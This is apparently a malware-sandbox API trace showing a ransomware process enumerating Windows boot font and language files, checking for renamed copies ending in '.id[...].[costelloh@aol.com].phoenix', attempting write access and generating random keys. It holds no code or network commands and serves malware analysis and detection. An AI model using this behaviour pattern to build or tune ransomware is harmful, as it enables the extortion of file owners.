	[0219.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20
	[0219.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.482] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.482] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.483] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.483] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=177414) returned 1
	[0219.483] CloseHandle (hObject=0x2c0) returned 1
	[0219.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20
	[0219.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.484] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.484] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.484] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.484] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=143754) returned 1
	[0219.485] CloseHandle (hObject=0x2c0) returned 1
	[0219.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20
	[0219.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.485] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.485] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.485] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.486] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=145419) returned 1
	[0219.486] CloseHandle (hObject=0x2c0) returned 1
	[0219.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20
	[0219.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.486] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.486] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.486] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.486] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=162331) returned 1
	[0219.486] CloseHandle (hObject=0x2c0) returned 1
	[0219.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20
	[0219.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.486] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.486] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.487] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.487] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=164347) returned 1
	[0219.487] CloseHandle (hObject=0x2c0) returned 1
	[0219.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20
	[0219.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.487] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.487] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.487] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.487] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=154427) returned 1
	[0219.487] CloseHandle (hObject=0x2c0) returned 1
	[0219.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20
	[0219.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.487] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.488] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.488] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.488] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=156245) returned 1
	[0219.488] CloseHandle (hObject=0x2c0) returned 1
	[0219.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20
	[0219.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.488] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.488] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.488] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.488] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=44859) returned 1
	[0219.488] CloseHandle (hObject=0x2c0) returned 1
	[0219.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20
	[0219.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.488] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.489] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.489] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.489] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=85862) returned 1
	[0219.489] CloseHandle (hObject=0x2c0) returned 1
	[0219.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20
	[0219.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.489] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.489] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.489] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.489] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=86178) returned 1
	[0219.489] CloseHandle (hObject=0x2c0) returned 1
	[0219.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20
	[0219.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.496] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.496] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=49091) returned 1
	[0219.496] CloseHandle (hObject=0x2c0) returned 1
	[0219.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20
	[0219.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.496] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.496] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=79200) returned 1
	[0219.496] CloseHandle (hObject=0x2c0) returned 1
	[0219.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20
	[0219.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.497] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.497] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.497] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.497] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=79192) returned 1
	[0219.497] CloseHandle (hObject=0x2c0) returned 1
	[0219.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20
	[0219.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.497] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.497] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.497] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.497] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45984) returned 1
	[0219.498] CloseHandle (hObject=0x2c0) returned 1
	[0219.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20
	[0219.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.498] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.498] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.498] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.498] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=76640) returned 1
	[0219.498] CloseHandle (hObject=0x2c0) returned 1
	[0219.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20
	[0219.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.498] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.498] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.498] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.499] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=78688) returned 1
	[0219.499] CloseHandle (hObject=0x2c0) returned 1
	[0219.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20
	[0219.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.499] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.499] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.499] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.499] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45976) returned 1
	[0219.499] CloseHandle (hObject=0x2c0) returned 1
	[0219.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20
	[0219.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.499] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.499] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.500] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.500] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77144) returned 1
	[0219.500] CloseHandle (hObject=0x2c0) returned 1
	[0219.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20
	[0219.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.500] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.500] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.500] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
